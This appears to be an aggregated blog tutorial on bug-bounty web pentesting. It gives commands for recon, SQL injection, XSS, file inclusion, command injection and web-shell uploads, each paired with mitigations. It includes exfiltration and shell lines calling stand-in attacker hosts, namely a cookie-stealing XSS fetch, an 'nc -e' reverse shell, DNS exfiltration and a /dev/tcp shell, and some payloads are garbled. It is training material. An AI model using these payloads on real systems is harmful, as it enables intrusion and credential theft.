Listen to this Post
Introduction:
Bug bounty hunting has evolved from a niche hobby to a critical cybersecurity discipline, rewarding ethical hackers for uncovering vulnerabilities before malicious actors exploit them. With the OWASP Top 10 serving as the industry’s risk roadmap, structured training programs—like the one offered by Ignite Technologies—bridge the gap between theoretical knowledge and real-world web application penetration testing. This article extracts technical depth from that program, delivering a practical, command‑heavy guide to mastering the art of bug hunting.
Learning Objectives:
- Build a complete pentesting lab to practice attacks safely (VirtualBox, Kali Linux, OWASP Web Goat).
- Execute reconnaissance, exploitation, and post‑exploitation for OWASP Top 10 vulnerabilities.
- Apply manual and automated techniques for SQLi, XSS, LFI/RFI, command injection, and file uploads.
You Should Know:
- Setting Up Your Pentest Lab – Isolated & Legal Practice
Before touching any live target, you need a safe environment. This step‑by‑step lab replicates vulnerable web apps and allows you to run attacks without legal risk.
Step‑by‑step guide:
- Install VirtualBox or VMware on your host (Windows/Linux/macOS).
- Download Kali Linux VM (attacker) and OWASP Broken Web Applications (BWA) or Web Goat (target).
- Configure both VMs on a Host‑Only Network (e.g., 192.168.56.0/24) so they can talk but not reach the internet.
- Start the target VM; find its IP via `ip a` (Linux) or `ipconfig` (Windows on the host for the virtual adapter).
- From Kali, verify connectivity: `ping -c 4 192.168.56.101` (adjust IP).
- Launch OWASP Web Goat:
sudo docker run -p 8080:8080 webgoat/goatandwolf. Access `http://localhost:8080/WebGoat`.Windows equivalent: Use WSL2 with Kali or Hyper‑V. For network isolation, create a new virtual switch in Hyper‑V Manager set to “Internal only”.
2. Information Gathering & Reconnaissance – The Art of Mapping the Attack Surface
You cannot hack what you cannot see. Modern recon uses passive (OSINT) and active (scanning) techniques.Step‑by‑step guide:
– Subdomain enumeration: `subfinder -d target.com -o subs.txt`
- Live host discovery: `cat subs.txt | httpx -status-code -title -tech-detect -o live.txt`
– Port scanning with Nmap: `nmap -sV -sC -O -p- 192.168.56.101 -oA full_scan`
– Directory brute‑forcing: `gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,asp`
– Tech stack detection: `whatweb http://192.168.56.101` - For Windows (PowerShell): Use `Test-NetConnection` for basic pings, but for real recon install nmap or use `Invoke-WebRequest` with custom wordlists.
Pro tip: Use `waybackurls` to fetch historical URLs: echo target.com | waybackurls | tee historical.txt. Combine with `gf` patterns to find parameters likely vulnerable to XSS, SQLi, etc.
- Exploiting SQL Injection – From ‘OR 1=1 to Database Takeover
SQL injection remains the king of critical vulnerabilities. Learn manual detection first, then automate.
Step‑by‑step guide (manual):
- Find a parameter like
?id=1. Test single quote: `?id=1’` → error or weird response indicates possible SQLi. - Boolean test: `?id=1 AND 1=1` (works) vs `?id=1 AND 1=2` (no data) → confirms injection.
- Union‑based: `?id=1 UNION SELECT null, username, password FROM users — -` (adjust column count by adding `null` until no error).
- Extract database version: `?id=1 UNION SELECT @@version, null, null — -`
Automated with sqlmap (Linux):
sqlmap -u "http://192.168.56.101/page?id=1" --dbs --batch sqlmap -u "http://192.168.56.101/page?id=1" -D database_name --tables sqlmap -u "http://192.168.56.101/page?id=1" -D database_name -T users --dump
Windows: Run sqlmap via Python or in WSL. For manual testing, use `curl` in PowerShell: `curl “http://target/page?id=1′”` and inspect response.
Mitigation: Use parameterized queries (prepared statements) and never trust user input. WAF rules can block obvious payloads, but stored procedures and ORMs are safer.
- Cross‑Site Scripting (XSS) – Turning User Input into a Weapon
XSS allows attackers to execute JavaScript in victims’ browsers. Three types: Reflected, Stored, DOM‑based.
Step‑by‑step guide:
- Test for reflected XSS: Enter `` into a search box or URL parameter. If an alert box appears, you have XSS.
- Bypass filters:
<img src=x onerror=alert(1)>,<svg/onload=alert(1)>, `javascript:alert(1)` in href. - Stored XSS: Post a comment with
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. Every visitor who loads the comment will send their cookies. - DOM XSS: Look for JavaScript that uses `document.write(location.hash)` or
eval(location.search). Payload: `http://target.com/`
Automated scanning: Use `dalfox` (fast): `dalfox url http://192.168.56.101/search?q=test –silence` or
XSStrike.
Linux/Windows command (curl):
`curl “http://target.com/search?q=“` and check response for unencoded <script>.
Mitigation: Context‑aware output encoding (HTML entity encode, JavaScript escape), Content Security Policy (CSP) with script-src 'self'.
- Local & Remote File Inclusion – From Read to Remote Code Execution
LFI reads local files (e.g.,/etc/passwd). RFI includes remote scripts – often leads to RCE.
Step‑by‑step guide:
- Find a parameter like
?page=home.php. Change to `?page=../../../../etc/passwd` – if you see password file, LFI confirmed. - Wrapper tricks (PHP):
`?page=php://filter/convert.base64-encode/resource=config.php` → base64‑encoded source code.
`?page=data://text/plain,` → RFI if `allow_url_include=On`.
- Log poisoning: LFI + Apache access logs. First, inject PHP code into User‑Agent: `curl -A “” http://target.com`. Then LFI the log file: `?page=../../../../var/log/apache2/access.log` → code executes.
- Windows LFI: `?page=../../../../Windows/win.ini` or `?page=C:/xampp/htdocs/config.php`
Command to automate LFI detection: `ffuf -u http://target.com/page?parameter=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 0`
Mitigation: Disable
allow_url_include, use whitelists for valid pages, sanitize file paths, and set `open_basedir` restrictions.
- OS Command Injection – Direct Shell Access via Web Parameters
When a web app passes unsanitized user input to a system shell, you can run arbitrary OS commands.
Step‑by‑step guide:
- Find a form that pings an IP or runs a system tool (e.g., `ping` button). Enter: `8.8.8.8; id` – if you see
uid=33(www-data), command injection works. - Common payloads:
Linux:; ls,| whoami,$(cat /etc/passwd),`nc -e /bin/bash attacker_ip 4444`
Windows: `& dir`, `| whoami`, `%SYSTEMROOT%\System32\calc.exe`
- Blind injection (no output): Use time‑based or out‑of‑band.
`ping -c 5 8.8.8.8; sleep 5` – if response takes 5 extra seconds, injection works.
OOB: `; nslookup $(whoami).attacker.com` – watch for DNS lookup on your server. - Automated tool: `commix` – `commix –url=”http://target.com/ping?ip=8.8.8.8″ –os-cmd=”id”`
Mitigation: Never call system shells from web apps. Use language‑specific APIs (e.g., `subprocess` with whitelisted commands). Strict input validation: only allow alphanumeric and required symbols.
- Unrestricted File Upload & PHP Web Shells – Persistent Access
If an app lets you upload any file without validation, you can place a web shell and control the server.
Step‑by‑step guide:
- Upload a simple PHP webshell: Save as `shell.php` with content:
``
- Bypass client‑side checks: Disable JavaScript or intercept upload request with Burp Suite. Change `Content-Type` to `image/jpeg` and rename file to
shell.php.jpg. - Double extension trick: `shell.php.jpg` – some servers execute the PHP part.
- .htaccess upload: Upload `.htaccess` that adds PHP handler: `AddType application/x-httpd-php .jpg` – then any `.jpg` runs as PHP.
- Using the shell: Access
http://target.com/uploads/shell.php?cmd=id`. For more advanced shells, use `& /dev/tcp/attacker_ip/4444 0>&1'"); ?>` and listen withnc -lvnp 4444`.
Detection commands (Linux): Find all PHP files in uploads: find /var/www/html/uploads -name ".php". Monitor file changes: inotifywait -m /var/www/html/uploads.
Mitigation: Whitelist allowed MIME types and extensions, rename uploaded files (e.g., UUID), store them outside web root, scan with antivirus, and disable execution in upload directories via `.htaccess` (php_flag engine off).
What Undercode Say:
- Hands‑on labs beat theory every time. Building your own pentest environment (Kali + OWASP BWA) is the only way to internalize attack patterns without breaking laws.
- Automation accelerates, but manual verification makes a hunter. Tools like sqlmap, dalfox, and commix are powerful, yet knowing how to craft a `’ OR 1=1–` by hand is what separates script kiddies from professional bug bounty hunters.
- Analysis: The training program’s syllabus mirrors real‑world bug bounty scopes: recon, injection, file inclusion, uploads, and web shells. Each vulnerability class demands a different mindset – SQLi requires database schema intuition, XSS needs JavaScript fluency, and command injection relies on OS internals. With AI now generating code, injection flaws are resurging; automated scanners miss logic‑based variants, so human hunters remain indispensable. Moreover, the inclusion of “Bonus Section” hints at zero‑day or chaining techniques – the true gold in bug bounty. Expect platforms like HackerOne and Bugcrowd to prioritize hunters who master these exact skills.
Prediction:
By 2027, bug bounty training will be fully gamified and AI‑augmented – think interactive labs that adapt to your skill level and AI agents that suggest attack chains based on code analysis. However, as WAFs and RASP become smarter, classic OWASP Top 10 attacks will decline, shifting focus to business logic flaws and API‑specific vulnerabilities (GraphQL, gRPC). Hunters who layer the fundamentals from this training with API security and cloud misconfiguration skills will dominate the reward tables. The rise of LLM‑powered code review tools will also democratize bug hunting, lowering the entry barrier – but the top earners will remain those who combine automated recon with creative, manual exploitation. Register now; seats are limited, but your learning curve is infinite.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kinjalpatel Pt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
